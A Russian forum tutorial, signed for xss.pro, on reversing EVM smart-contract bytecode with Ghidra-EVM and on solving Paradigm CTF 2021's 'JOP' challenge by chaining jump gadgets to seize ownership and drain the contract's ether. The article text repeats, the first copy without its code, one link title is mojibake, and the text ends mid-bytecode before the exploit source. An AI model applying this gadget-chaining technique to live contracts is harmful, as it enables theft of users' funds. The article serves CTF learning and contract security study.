Введение
Автор не претендует на истину в последней инстанции, если вы с чем-то не согласны - не стесняйтесь об этом писать. Так же стоит уточнить, что эта статья рассчитана на новичков, и если вы уже прожжёный самовар, вам здесь делять нечего. Всем остальным, приятного прочтения!
Содержание
Тема смарт-контрактов, и в целом вопрос безопасности DApps, как-то слабо развит на российских форумах. Хотя казалось бы, ничего сложного в смарт-контрактах нет. Я уже писал статью о эксплуатации смарт-контрактов, в рамках конкурса на exploit.in. Там эта тема людей заинтересовала. Если вы ещё не читали мою статью, прошу сюда
Требуемые знания
Статья подразумевает, что вы уже обладаете базовыми знаниями в области. Глубокого понимания того как работает память или стек EVM от вас не требуется. Но если вы не знаете как писать на solidity, или что вообще такое эти ваши смарт-контракты,
то тратить символы в статье (которых и так получилось немало) на разъяснение основ, я не собираюсь. Вот для вас немного ссылок, дабы вы самостоятельно ввели себя в курс дела:
> Что такое смарт контракты
www.kaspersky.ru
> Пришем первый контракт
habr.com
> Документация Solidity
docs.soliditylang.org
> Немного о EVM
> Топ уязвимостей смарт-контрактов
www.dasp.co
Реверсинг смарт контрактов
Если вы уже пробывали свои силы, и издевались над контрактами(в том же CaptureTheEther), но наверняка задавались вопросом: "А что же делать если контракт не подписан на etherscan, и исходный код нам не доступен?". Многие наверняка думают, что если исходный код не опубликован, то взломать контракт нельзя. Ответ на этот вопрос, такой же очевидный как и в случае с любым другим, не децентрализованным ПО - Реверсить. Этим мы сейчас и займёмся!
Вступление
При компиляции кода на Solidity, исходник превращается в байткод. С ним, в отсутствии исходного кода, нам и придётся иметь дело, дизассемблируя его и анализируя EVM ассемблер. Не пугайтесь слова ассемблер! В самом EVM ассемблере, нет ничего страшного и сложного. Он куда проще чем тот же x86 или ARM. А всё потому, что Ethereum Virtual Machine имеет стековую организацию. То есть все опрации с данными, вызовы функций и условные переходы - выполняются через стек. То как именно это работает мы разберём по ходу статьи, а пока в качестве примера возьмём этот контракт:
Примечание: Это немного изменённый контракт из Remix IDE. При написани статьи, я пользовался Remix. Вы вольны пользоваться чем удобнее, тем же Truffle например.
В скопилированном виде он представляет из себя следующее:
Первый вопрос который, скорее всего, возник у вас это: "Ну и куда мне это девать?". Держа этот вопрос в уме, переходим к следующему подзаголовку.
Иструментарий
Для дизассемблирования, я использую 2 интрумента: Ghidra и OSD(Online Solidity Decompiler). Безусловно это не единственные варианты, есть ещё например плагин для Binary Ninja - Ethersplay. Вам бы я советовал попробовать и то и другое, но для большинства задач хватит и онлайн декомпилера - https://ethervm.io/decompile
Здесь всё принципиально просто - Вставляем байт-код в окошко и жмём Decompile. После этого перед вами предстанет примерное следующее:
С Ghidra всё значительно сложнее.
Установка Ghidra-EVM
Примечание: У меня не получилось завести плагин в последней версии Ghidra(10.0.1), поэтому я поставил более старую(9.1.2)
Первое что нужно сделать, это поставить python >= 3.6, если он у вас ещё не уставновлен:
Теперь установим зависимости, которые требует плагин:
1 - Ghidra_bridge:
Модуль:
Cкрипт сервера:
2 - Evm-cfg-builder:
Далее сам плагин:
Скачиваем архив отсюда:
github.com
Скачиваем все скрипты из директории, они пригодятся нам для анализа:
github.com
Добавим плагин в Ghidra:
Жмём
Должно получиться нечто подобное.
Последний шаг - перезапускаем Ghidra.
Использование Ghidra-EVM
Для того чтобы проанализировать смарт-контракт, нам нужно закинуть его байт-код в файл с расширением .evm. После просто импортируем его в Ghidra, как и любой другой файл:
Примечание: Тут важно нажать No, так как для анализа мы будем использовать скаченые ранее скрипты
Далее запускаем Ghidra-Bridge:
Теперь надо проанализировать файл. Для этого открываем консоль и переходим в директорию с скаченными ранее скриптами.
Далее, запускаем два из них: evm_helper и search_codecopy, передавая в качестве аргумента путь к нашему .evm файлу:
Вот и всё, теперь можно разбирать смарт-контракт почти также, как и любое другое ПО в ghidra.
EVM Ассемблер
Чтож, вернёмся к контракту, который я приводишь выше. Для вашего удобства я приложу ассемблерный листинг с OSD:
Перейдём к разбору.
Конструктор
Каждый контракт после компиляции, по сути состоит из двух контрактов: Конструктора и Основной логики. Конструктор вызывается лишь однаждый - при инициализации контракта в сети, и не хранится в Blockchain эфириума. При реверсинге, анализировать конструктор нам незачем, поэтому мы его просто убираем.
Каждый контракт начинается с байтов 6080 или 6060, так что мы просто убираем всё, что идёт до следующих 6080. И в нашем случае, коструктор контракта это:
Или в декопилированном виде:
Диспетчер и основные инструкции
При вызове смарт-контракта, первое что будет выполненно - это
Выполнение диспетчера начинается со следующего блока инструкций:
Первые три инструкции помещают на стек 0x80 и 0x40, а затем вызывается функция
С этих инструкций начинается любой контракт.
Далее выполняется инструкция
За ними идёт
Далее на стек помещается значение
На данном этапе стек представляет собой следующее:
В нашем случае будет совершён переход на
Если бы в стеке лежал 0, то выполнение бы продолжилось, приведя нас к:
Тут я думаю всё ясно, это BadBlock.
Чтож, теперь посмотрим куда же приведёт нас переход на
Здесь на стек помещается значение
Далее так подробно разбирать инструкции я не буду, а просто оставлю вам ссылку на табличку с инструкциями EVM ассемблера:
github.com
Сейчас проще будет обяснить на примере декомпилировананного контракта.
Тут то всё и должно стать понятно. Функция main - это и есть диспетчер. Первые 4 строки функции, мы разобрали выше, в виде ассемблера. Далее идёт условное ветвление if else, которое и осуществляет диспетчеризацию: перенаправляет выполнение, сравнивая msg.data[0x00:0x20] с идетификаторами функций.
Итог
Надеюсь после прочтения, вам стало понятнее, как разбирать EVM ассемблер. Далее я не буду так подробно сосредотачиваться на каждой инструкции, я буду просто приводить листиг ассемблера. Если вам всё ещё сложно или непонятно, то перечитайте и попрактикуйтесь сами. Напиши какую-нибудь простую логику, и попробуйте её реверсить.
Эксплуатируем JOP
В качестве реального примера для эксплуатации, я решил выбрать контракт JOP с Paradigm CTF 2021. Он показался мне наиболее сложной задачей из всех на Paradigm CTF. В задании представлен, как мне показалось, довольно нетипичный пример уязвимости в смарт-контракте. Кроме того, на момент проведения CTF исходный код контракта не был доступен, а это как-раз то, что нам нужно в рамках тематики этой статьи. Ладно, хватит разглагольствовать, перейдём к разбору задания!
Обзор задачи
И так, у нас в распоряжении имеется, байткод задания и контракт Setup:
Байткод:
Примечание: Я сразу убрал байт-код конструктора, так что можете прямо так в дизассемблер и закидывать
И контракт Setup:
А задача перед нами стоит не простая: Заставить isSolved() возвращать true! Для этого нам подребуется 3 вещи:
Jump Oriented Programming
Если вы ранее занимались эксплуатацией чего-либо, вам должно быть знакомо понятие ROP. Если нет, то я поясню:
Return oriented programming - это техника эксплуатации, суть которой заключается в том что вы получаете контроль над стеком вызовов, а затем подбирая так называемые гаджеты, и выставляя их в нужной последовательности, заставляете программу делать то, что вам нужно.
Думаю понятно обяснил. Если нет то вот пример:
Допустим в программе есть место, где вы можете контролировать стек. Если в этом месте есть иструкция return, вы можете перейти по адресу, который лежит сверху на стеке. Этим адресом может выступать другая часть программы которая тоже заканчивается инструкцией ret. Таким образом вы опять перейдёте к нужному вам месту, и выполните некий нужный вам ряд иструкций идущий перед инструкцией ret. Собрав несколько таких ret "гаджетов", вы сможете выполнить действие, например вызвать функцию с нужными вам параметрами на стеке и в регистах.
Вот не плохая статья на habr, с простеньким примером экплуатации: https://habr.com/ru/post/255519/
Надеюсь теперь стало ясно.
В нашем случае, у нас вместо инструкции ret будет иструкция jmp. Что сути не меняет.
Выбираем цели
Сначала давайте определим логику, которую нам надо выполнить:
1 - Назначить владельцем 0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD
Для этого нам понадобится функции
Так выглядить декомпилированная
Обойти проверку будет не трудно, так как мы сможем переходить сразу к любой инструкции контракта. В данном случае нас интересует следующий блок инструкций, он пишет в storage[0x06] и заканчивается инструкцией JUMP:
Запишем адрес
Теперь
Здесь присутствует проверка являемся ли мы новым владельцем. Её мы тоже спокойно минуем, прыгая сразу к нужному блоку инструкций:
Запишем адрес
2 - Обнулить баланс контракта Setup
Обратимся к части фукнции sellTokens:
Запишем адресс 1757 как zero_setup
3 - Обнулить баланс задания
Для этого нам нужен следующий кусок функции
Да, он заканчивается прыжком на
Он в свою очередь прыгнет на
И вновь передаст упраление нам! Так что
Точка входа
Точкой входа для нас станет функция
Уникальность этого блока инструкций в том, что переход в конце будет сделан на значение из памяти:
Она записывает первый аргумент в
Вот вам и точка входа!
Гаджеты
Для того чтобы уложить гаджеты должным образом, нам потребуются ещё несколько блоков инструкций которые переместят наши гаджеты из
Начнём с самого простого что нам пригодится - гаджет который будет прыгать на адресс с верхушки стека
Запишем
Продолжим с простыми гаджетами. Теперь нам нужен гажет, который будет останавливать выполнение, чтобы не вызвать ошибки после выполнения нашего jop эксплойта:
Запишем
Нам осталось ещё 2 гаджета, и это пожалуй самая сложная для понимания часть статьи потому, что я буду объяснять как будет работать стек нашего эксплойта. Постараюсь объяснить максимально понятно:
Начнём с того, что нам нужен некий гаджет, который будет перемещать значения из
Коротко о том, что делает данная функция: Принимает аргумент как смещение в
Все проверки, идущие до
Запишем
Далее нам понадобится ещё один гаджет, он будет вызывать нашу фукнцию:
Он вызовет нашу функцию с передавая ей в качестве аргумента
Запишем
Собираем стек
Итак, теперь давайте пошагово разберём как будет устроен наш стек. Следите за руками:
Из нашей точки входа, будем вызывать
Он совершит прыжок на адрес с верхушки стека, и это будет последний, четвёртый из прочитаных только что
Четвёртым элементом будет наш
Тогда третим нужно будет пложить аргумент для
И так, после выполнения, как и писалось выше,
И так, после проведённых выше манипуляций, у нас на стеке останется первый элемент из первоначальных, и 4 которые мы только что прочитали. 4 следующих элемента будут уложены таким же образом, и так далее.
То есть наша полезная нагрузка будет состоять блоков по 4 элемента:
Пишем эксплоит
Создадим контракт и импортируем
Добавим наши гаджеты:
Создадим хранилище для полезной нагрузки:
Напишем коструктор и получим интерфейс задачи:
Добавим фукнцию которая будет вводить 2,3 и 4 элементы:
Теперь более подробно. Начнём с конца нашей jop цепочки, то есть с гаджета
Далее возьмёмся за передачу владения контрактом:
Примечание: Я сознательно не добавил в функцию
Обнулим баланс задания, переведя все 50 eth себе:
И обнулим баланс setup:
Наконец добавим 4
Наша нагрузка готова! Теперь займёмся вызывами:
Полный код эксплойта:
Тестируем
Настало время проверить эксплоит в действии! Развернём Setup:
Размещаем наш эксплоит:
И проверяем, решена ли задача:
Итоги
Время подвести итог. Как по мне, так тема эксплуатации смарт-контрактов очень обделена вниманием, и надеюсь кого-нибудь я этой статьёй заинтересовал. Если у вас будут какие-либо вопросы - не стесняйтесь мне писать.
В эту статью я вложил много времени, поэтому многие переводы которые я должен был сделать задержались, постараюсь закончить с ними по возможности быстро.
Azrv3l cпециально для xss.pro
Автор не претендует на истину в последней инстанции, если вы с чем-то не согласны - не стесняйтесь об этом писать. Так же стоит уточнить, что эта статья рассчитана на новичков, и если вы уже прожжёный самовар, вам здесь делять нечего. Всем остальным, приятного прочтения!
Содержание
- Введение
- Предисловие
- Требуемые знания
- Реверсинг смарт-контрактов
- Вступление
- Инструментарий
- Уставнока Ghidra-EVM
- Использование Ghidra-EVM
- EVM Ассемблер
- Конструктор
- Диспетчер и основные инструкции
- Итог
- Эксплуатируем JOP
- Jump Oriented Programming
- Выбираем цели
- Точка входа
- Гаджеты
- Собираем стек
- Пишем эксплоит
- Тестируем
- Итог
Тема смарт-контрактов, и в целом вопрос безопасности DApps, как-то слабо развит на российских форумах. Хотя казалось бы, ничего сложного в смарт-контрактах нет. Я уже писал статью о эксплуатации смарт-контрактов, в рамках конкурса на exploit.in. Там эта тема людей заинтересовала. Если вы ещё не читали мою статью, прошу сюда
Требуемые знания
Статья подразумевает, что вы уже обладаете базовыми знаниями в области. Глубокого понимания того как работает память или стек EVM от вас не требуется. Но если вы не знаете как писать на solidity, или что вообще такое эти ваши смарт-контракты,
то тратить символы в статье (которых и так получилось немало) на разъяснение основ, я не собираюсь. Вот для вас немного ссылок, дабы вы самостоятельно ввели себя в курс дела:
> Что такое смарт контракты
Смарт-контракты, Ethereum, ICO — объясняем простыми словами
Смарт-контракты сделали криптовалюту Ethereum второй по величине. Рассказываем о том, что это такое и как это связано с модным понятием ICO.
> Пришем первый контракт
ÐиÑем ÑмнÑй конÑÑÐ°ÐºÑ Ð½Ð° Solidity. ЧаÑÑÑ 1 â ÑÑÑановка и «Hello world»
ÐÑди, инÑеÑеÑÑÑÑиеÑÑ Ñемой блокÑейна, Ñже не Ñаз ÑлÑÑали о пÑоекÑе ÑоÑÑийÑко-канадÑкого пÑогÑаммиÑÑа ÐиÑалика ÐÑÑеÑина â Ethereum , а в вмеÑÑе Ñ Ð½Ð¸Ð¼ и о Ñак назÑваемÑÑ ÑмнÑÑ ÐºÐ¾Ð½ÑÑакÑаÑ. Рданном...
> Документация Solidity
Solidity — Solidity 0.8.34-develop documentation
> Немного о EVM
Getting Deep Into EVM: How Ethereum Works Backstage | HackerNoon
This post is a continuation of my <strong><em>Getting Deep Into Series </em></strong>started in an effort to provide a deeper understanding of the internal workings and other cool stuff about Ethereum and blockchain in general which you will not find easily on the web. Here are the previous...
hackernoon.com
> Топ уязвимостей смарт-контрактов
DASP - TOP 10
Реверсинг смарт контрактов
Если вы уже пробывали свои силы, и издевались над контрактами(в том же CaptureTheEther), но наверняка задавались вопросом: "А что же делать если контракт не подписан на etherscan, и исходный код нам не доступен?". Многие наверняка думают, что если исходный код не опубликован, то взломать контракт нельзя. Ответ на этот вопрос, такой же очевидный как и в случае с любым другим, не децентрализованным ПО - Реверсить. Этим мы сейчас и займёмся!
Вступление
При компиляции кода на Solidity, исходник превращается в байткод. С ним, в отсутствии исходного кода, нам и придётся иметь дело, дизассемблируя его и анализируя EVM ассемблер. Не пугайтесь слова ассемблер! В самом EVM ассемблере, нет ничего страшного и сложного. Он куда проще чем тот же x86 или ARM. А всё потому, что Ethereum Virtual Machine имеет стековую организацию. То есть все опрации с данными, вызовы функций и условные переходы - выполняются через стек. То как именно это работает мы разберём по ходу статьи, а пока в качестве примера возьмём этот контракт:
Код:
pragma solidity 0.5.17;
contract Storage {
uint256 number;
function set(uint256 num) public {
number = num;
}
function retrieve() public view returns (uint256){
return number;
}
}
В скопилированном виде он представляет из себя следующее:
Код:
608060405234801561001057600080fd5b5060c68061001f6000396000f3fe6080604052348015600f57600080fd5b506004361060325760003560e01c80632e64cec114603757806360fe47b1146053575b600080fd5b603d607e565b6040518082815260200191505060405180910390f35b607c60048036036020811015606757600080fd5b81019080803590602001909291905050506087565b005b60008054905090565b806000819055505056fea265627a7a7231582093a737451b0434b3945c010f908ed87f86f7650e330d62e5bfeb3d0ac5405e2064736f6c63430005110032
Первый вопрос который, скорее всего, возник у вас это: "Ну и куда мне это девать?". Держа этот вопрос в уме, переходим к следующему подзаголовку.
Иструментарий
Для дизассемблирования, я использую 2 интрумента: Ghidra и OSD(Online Solidity Decompiler). Безусловно это не единственные варианты, есть ещё например плагин для Binary Ninja - Ethersplay. Вам бы я советовал попробовать и то и другое, но для большинства задач хватит и онлайн декомпилера - https://ethervm.io/decompile
Здесь всё принципиально просто - Вставляем байт-код в окошко и жмём Decompile. После этого перед вами предстанет примерное следующее:
С Ghidra всё значительно сложнее.
Установка Ghidra-EVM
Примечание: У меня не получилось завести плагин в последней версии Ghidra(10.0.1), поэтому я поставил более старую(9.1.2)
Первое что нужно сделать, это поставить python >= 3.6, если он у вас ещё не уставновлен:
Теперь установим зависимости, которые требует плагин:
1 - Ghidra_bridge:
Модуль:
pip install ghidra_bridgeCкрипт сервера:
python -m ghidra_bridge.install_server ~/ghidra_scripts2 - Evm-cfg-builder:
pip install evm-cfg-builderДалее сам плагин:
Скачиваем архив отсюда:
ghidra-evm/ghidra_evm/dist/ghidra_9.1.2_PUBLIC_20201108_ghidra_evm.zip at main · adelapie/ghidra-evm
The Ghidra EVM Module (ghidra-evm) leverages Ghidra 9.1.2 to disassemble and analyze compiled Ethereum smart contracts. Ghidra-evm was presented at BlackHat Asia 2021. - adelapie/ghidra-evm
Скачиваем все скрипты из директории, они пригодятся нам для анализа:
ghidra-evm/scripts at main · adelapie/ghidra-evm
The Ghidra EVM Module (ghidra-evm) leverages Ghidra 9.1.2 to disassemble and analyze compiled Ethereum smart contracts. Ghidra-evm was presented at BlackHat Asia 2021. - adelapie/ghidra-evm
Добавим плагин в Ghidra:
File->Install Extensions...
Жмём
Add Extension и выбираем ранее скаченый c github архив.
Должно получиться нечто подобное.
Последний шаг - перезапускаем Ghidra.
Использование Ghidra-EVM
Для того чтобы проанализировать смарт-контракт, нам нужно закинуть его байт-код в файл с расширением .evm. После просто импортируем его в Ghidra, как и любой другой файл:
Примечание: Тут важно нажать No, так как для анализа мы будем использовать скаченые ранее скрипты
Далее запускаем Ghidra-Bridge:
Теперь надо проанализировать файл. Для этого открываем консоль и переходим в директорию с скаченными ранее скриптами.
Далее, запускаем два из них: evm_helper и search_codecopy, передавая в качестве аргумента путь к нашему .evm файлу:
Вот и всё, теперь можно разбирать смарт-контракт почти также, как и любое другое ПО в ghidra.
EVM Ассемблер
Чтож, вернёмся к контракту, который я приводишь выше. Для вашего удобства я приложу ассемблерный листинг с OSD:
Код:
label_0000:
// Inputs[1] { @0005 msg.value }
0000 60 PUSH1 0x80
0002 60 PUSH1 0x40
0004 52 MSTORE
0005 34 CALLVALUE
0006 80 DUP1
0007 15 ISZERO
0008 60 PUSH1 0x0f
000A 57 *JUMPI
// Stack delta = +1
// Outputs[2]
// {
// @0004 memory[0x40:0x60] = 0x80
// @0005 stack[0] = msg.value
// }
// Block ends with conditional jump to 0x000f, if !msg.value
label_000B:
// Incoming jump from 0x000A, if not !msg.value
// Inputs[1] { @000E memory[0x00:0x00] }
000B 60 PUSH1 0x00
000D 80 DUP1
000E FD *REVERT
// Stack delta = +0
// Outputs[1] { @000E revert(memory[0x00:0x00]); }
// Block terminates
label_000F:
// Incoming jump from 0x000A, if !msg.value
// Inputs[1] { @0013 msg.data.length }
000F 5B JUMPDEST
0010 50 POP
0011 60 PUSH1 0x04
0013 36 CALLDATASIZE
0014 10 LT
0015 60 PUSH1 0x32
0017 57 *JUMPI
// Stack delta = -1
// Block ends with conditional jump to 0x0032, if msg.data.length < 0x04
label_0018:
// Incoming jump from 0x0017, if not msg.data.length < 0x04
// Inputs[1] { @001A msg.data[0x00:0x20] }
0018 60 PUSH1 0x00
001A 35 CALLDATALOAD
001B 60 PUSH1 0xe0
001D 1C SHR
001E 80 DUP1
001F 63 PUSH4 0x2e64cec1
0024 14 EQ
0025 60 PUSH1 0x37
0027 57 *JUMPI
// Stack delta = +1
// Outputs[1] { @001D stack[0] = msg.data[0x00:0x20] >> 0xe0 }
// Block ends with conditional jump to 0x0037, if 0x2e64cec1 == msg.data[0x00:0x20] >> 0xe0
label_0028:
// Incoming jump from 0x0027, if not 0x2e64cec1 == msg.data[0x00:0x20] >> 0xe0
// Inputs[1] { @0028 stack[-1] }
0028 80 DUP1
0029 63 PUSH4 0x60fe47b1
002E 14 EQ
002F 60 PUSH1 0x53
0031 57 *JUMPI
// Stack delta = +0
// Block ends with conditional jump to 0x0053, if 0x60fe47b1 == stack[-1]
label_0032:
// Incoming jump from 0x0017, if msg.data.length < 0x04
// Incoming jump from 0x0031, if not 0x60fe47b1 == stack[-1]
// Inputs[1] { @0036 memory[0x00:0x00] }
0032 5B JUMPDEST
0033 60 PUSH1 0x00
0035 80 DUP1
0036 FD *REVERT
// Stack delta = +0
// Outputs[1] { @0036 revert(memory[0x00:0x00]); }
// Block terminates
label_0037:
// Incoming jump from 0x0027, if 0x2e64cec1 == msg.data[0x00:0x20] >> 0xe0
0037 5B JUMPDEST
0038 60 PUSH1 0x3d
003A 60 PUSH1 0x7e
003C 56 *JUMP
// Stack delta = +1
// Outputs[1] { @0038 stack[0] = 0x3d }
// Block ends with call to 0x007e, returns to 0x003D
label_003D:
// Incoming return from call to 0x007E at 0x003C
// Inputs[4]
// {
// @0040 memory[0x40:0x60]
// @0042 stack[-1]
// @004D memory[0x40:0x60]
// @0052 memory[memory[0x40:0x60]:memory[0x40:0x60] + (0x20 + memory[0x40:0x60]) - memory[0x40:0x60]]
// }
003D 5B JUMPDEST
003E 60 PUSH1 0x40
0040 51 MLOAD
0041 80 DUP1
0042 82 DUP3
0043 81 DUP2
0044 52 MSTORE
0045 60 PUSH1 0x20
0047 01 ADD
0048 91 SWAP2
0049 50 POP
004A 50 POP
004B 60 PUSH1 0x40
004D 51 MLOAD
004E 80 DUP1
004F 91 SWAP2
0050 03 SUB
0051 90 SWAP1
0052 F3 *RETURN
// Stack delta = -1
// Outputs[2]
// {
// @0044 memory[memory[0x40:0x60]:memory[0x40:0x60] + 0x20] = stack[-1]
// @0052 return memory[memory[0x40:0x60]:memory[0x40:0x60] + (0x20 + memory[0x40:0x60]) - memory[0x40:0x60]];
// }
// Block terminates
label_0053:
// Incoming jump from 0x0031, if 0x60fe47b1 == stack[-1]
// Inputs[1] { @0059 msg.data.length }
0053 5B JUMPDEST
0054 60 PUSH1 0x7c
0056 60 PUSH1 0x04
0058 80 DUP1
0059 36 CALLDATASIZE
005A 03 SUB
005B 60 PUSH1 0x20
005D 81 DUP2
005E 10 LT
005F 15 ISZERO
0060 60 PUSH1 0x67
0062 57 *JUMPI
// Stack delta = +3
// Outputs[3]
// {
// @0054 stack[0] = 0x7c
// @0056 stack[1] = 0x04
// @005A stack[2] = msg.data.length - 0x04
// }
// Block ends with conditional call to 0x0067, returns to 0x007C, if !(msg.data.length - 0x04 < 0x20)
label_0063:
// Incoming jump from 0x0062, if not !(msg.data.length - 0x04 < 0x20)
// Inputs[1] { @0066 memory[0x00:0x00] }
0063 60 PUSH1 0x00
0065 80 DUP1
0066 FD *REVERT
// Stack delta = +0
// Outputs[1] { @0066 revert(memory[0x00:0x00]); }
// Block terminates
label_0067:
// Incoming call from 0x0062, returns to 0x007C, if !(msg.data.length - 0x04 < 0x20)
// Inputs[3]
// {
// @0068 stack[-2]
// @0069 stack[-1]
// @006D msg.data[stack[-2]:stack[-2] + 0x20]
// }
0067 5B JUMPDEST
0068 81 DUP2
0069 01 ADD
006A 90 SWAP1
006B 80 DUP1
006C 80 DUP1
006D 35 CALLDATALOAD
006E 90 SWAP1
006F 60 PUSH1 0x20
0071 01 ADD
0072 90 SWAP1
0073 92 SWAP3
0074 91 SWAP2
0075 90 SWAP1
0076 50 POP
0077 50 POP
0078 50 POP
0079 60 PUSH1 0x87
007B 56 *JUMP
// Stack delta = -1
// Outputs[1] { @0073 stack[-2] = msg.data[stack[-2]:stack[-2] + 0x20] }
// Block ends with unconditional jump to 0x0087
label_007C:
// Incoming return from call to 0x0067 at 0x0062
007C 5B JUMPDEST
007D 00 *STOP
// Stack delta = +0
// Outputs[1] { @007D stop(); }
// Block terminates
label_007E:
// Incoming call from 0x003C, returns to 0x003D
// Inputs[2]
// {
// @0082 storage[0x00]
// @0085 stack[-1]
// }
007E 5B JUMPDEST
007F 60 PUSH1 0x00
0081 80 DUP1
0082 54 SLOAD
0083 90 SWAP1
0084 50 POP
0085 90 SWAP1
0086 56 *JUMP
// Stack delta = +0
// Outputs[1] { @0085 stack[-1] = storage[0x00] }
// Block ends with unconditional jump to stack[-1]
label_0087:
// Incoming jump from 0x007B
// Inputs[2]
// {
// @0088 stack[-1]
// @0090 stack[-2]
// }
0087 5B JUMPDEST
0088 80 DUP1
0089 60 PUSH1 0x00
008B 81 DUP2
008C 90 SWAP1
008D 55 SSTORE
008E 50 POP
008F 50 POP
0090 56 *JUMP
// Stack delta = -2
// Outputs[1] { @008D storage[0x00] = stack[-1] }
// Block ends with unconditional jump to stack[-2]
0091 FE *ASSERT
0092 A2 LOG2
0093 65 PUSH6 0x627a7a723158
009A 20 SHA3
009B 93 SWAP4
009C A7 A7
009D 37 CALLDATACOPY
009E 45 GASLIMIT
009F 1B SHL
00A0 04 DIV
00A1 34 CALLVALUE
00A2 B3 B3
00A3 94 SWAP5
00A4 5C 5C
00A5 01 ADD
00A6 0F 0F
00A7 90 SWAP1
00A8 8E DUP15
00A9 D8 D8
00AA 7F PUSH32 0x86f7650e330d62e5bfeb3d0ac5405e2064736f6c63430005110032
Перейдём к разбору.
Конструктор
Каждый контракт после компиляции, по сути состоит из двух контрактов: Конструктора и Основной логики. Конструктор вызывается лишь однаждый - при инициализации контракта в сети, и не хранится в Blockchain эфириума. При реверсинге, анализировать конструктор нам незачем, поэтому мы его просто убираем.
Каждый контракт начинается с байтов 6080 или 6060, так что мы просто убираем всё, что идёт до следующих 6080. И в нашем случае, коструктор контракта это:
Код:
608060405234801561001057600080fd5b5060c68061001f6000396000f3fe
Или в декопилированном виде:
Код:
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
var var0 = msg.value;
if (var0) { revert(memory[0x00:0x00]); }
memory[0x00:0xc6] = code[0x1f:0xe5];
return memory[0x00:0xc6];
}
}
Диспетчер и основные инструкции
При вызове смарт-контракта, первое что будет выполненно - это
dispatcher. Он отвечает за то, чтобы направить выполнение в нужную функцию смарт-контракта.Выполнение диспетчера начинается со следующего блока инструкций:
Код:
0000 60 PUSH1 0x80
0002 60 PUSH1 0x40
0004 52 MSTORE
0005 34 CALLVALUE
0006 80 DUP1
0007 15 ISZERO
0008 60 PUSH1 0x0f
000A 57 *JUMPI
000B 60 PUSH1 0x00
000D 80 DUP1
000E FD *REVERT
Первые три инструкции помещают на стек 0x80 и 0x40, а затем вызывается функция
mstore. В результате получается следующее:
Код:
memory[0x40:0x60] = 0x80;
Далее выполняется инструкция
CALLVALUE - кладёт на стек полученное value, а следующая инструкция DUP1 - дублирует верхнее значение на стеке.За ними идёт
ISZERO - инструкция которая проверяется последнее значение на стеке, и если оно не равно нулю то посместит на стек 1.Далее на стек помещается значение
0x0f, и выполняется JUMPI.На данном этапе стек представляет собой следующее:
Код:
0 - 1
1 - 0x0f
JUMPI или Jump if, это условный переход, который принимает следующие параметры: jumpi(label, cond)В нашем случае будет совершён переход на
0x0f, так как ISZERO ранее положил на стек 1.Если бы в стеке лежал 0, то выполнение бы продолжилось, приведя нас к:
Код:
000B 60 PUSH1 0x00
000D 80 DUP1
000E FD *REVERT
Чтож, теперь посмотрим куда же приведёт нас переход на
0x0f:
Код:
000F 5B JUMPDEST
0010 50 POP
0011 60 PUSH1 0x04
0013 36 CALLDATASIZE
0014 10 LT
0015 60 PUSH1 0x32
0017 57 *JUMPI
Здесь на стек помещается значение
0x04, затем выполняется инструкция CALLDATASIZE - которая поместит размер calldata на стек. После идёт инструкция LT, или less then, которая сравнивает два последних значения на стеке: lt(calldata, 0x04). А дальше знакомая схема с переходом, который перейдёт на 0x0032 в случае если calldata < 0x04.Далее так подробно разбирать инструкции я не буду, а просто оставлю вам ссылку на табличку с инструкциями EVM ассемблера:
GitHub - crytic/evm-opcodes: Ethereum opcodes and instruction reference
Ethereum opcodes and instruction reference. Contribute to crytic/evm-opcodes development by creating an account on GitHub.
Сейчас проще будет обяснить на примере декомпилировананного контракта.
Код:
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
var var0 = msg.value;
if (var0) { revert(memory[0x00:0x00]); }
if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
var0 = msg.data[0x00:0x20] >> 0xe0;
if (var0 == 0x2e64cec1) {
// Dispatch table entry for retrieve()
var var1 = 0x3d;
var1 = retrieve();
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = var1;
var temp1 = memory[0x40:0x60];
return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
} else if (var0 == 0x60fe47b1) {
// Dispatch table entry for set(uint256)
var1 = 0x7c;
var var2 = 0x04;
var var3 = msg.data.length - var2;
if (var3 < 0x20) { revert(memory[0x00:0x00]); }
set(var2, var3);
stop();
} else { revert(memory[0x00:0x00]); }
}
function set(var arg0, var arg1) {
arg0 = msg.data[arg0:arg0 + 0x20];
storage[0x00] = arg0;
}
function retrieve() returns (var r0) { return storage[0x00]; }
}
Тут то всё и должно стать понятно. Функция main - это и есть диспетчер. Первые 4 строки функции, мы разобрали выше, в виде ассемблера. Далее идёт условное ветвление if else, которое и осуществляет диспетчеризацию: перенаправляет выполнение, сравнивая msg.data[0x00:0x20] с идетификаторами функций.
Итог
Надеюсь после прочтения, вам стало понятнее, как разбирать EVM ассемблер. Далее я не буду так подробно сосредотачиваться на каждой инструкции, я буду просто приводить листиг ассемблера. Если вам всё ещё сложно или непонятно, то перечитайте и попрактикуйтесь сами. Напиши какую-нибудь простую логику, и попробуйте её реверсить.
Эксплуатируем JOP
В качестве реального примера для эксплуатации, я решил выбрать контракт JOP с Paradigm CTF 2021. Он показался мне наиболее сложной задачей из всех на Paradigm CTF. В задании представлен, как мне показалось, довольно нетипичный пример уязвимости в смарт-контракте. Кроме того, на момент проведения CTF исходный код контракта не был доступен, а это как-раз то, что нам нужно в рамках тематики этой статьи. Ладно, хватит разглагольствовать, перейдём к разбору задания!
Обзор задачи
И так, у нас в распоряжении имеется, байткод задания и контракт Setup:
Байткод:
Код:
6080604052600436106101405760003560e01c806370a08231116100b6578063a457c2d71161006f578063a457c2d71461068a578063a9059cbb146106fb578063d0febe4c1461076c578063dd62ed3e14610776578063f2fde38b146107fb578063fc37987b1461084c57610140565b806370a08231146104ae57806379ba50971461051357806384e2b7f61461052a5780638da5cb5b1461058e57806395d89b41146105cf578063a1e89aec1461065f57610140565b806327f833501161010857806327f833501461032d578063313ce5671461036857806339509351146103965780636217229b1461040757806369f3331d146104325780636c11bcd31461047357610140565b806306fdde0314610145578063095ea7b3146101d557806318160ddd1461024657806323b872dd1461027157806325d3bcd114610302575b600080fd5b34801561015157600080fd5b5061015a610877565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019a57808201518184015260208101905061017f565b50505050905090810190601f1680156101c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e157600080fd5b5061022e600480360360408110156101f857600080fd5b81019080803573ffffffffffffff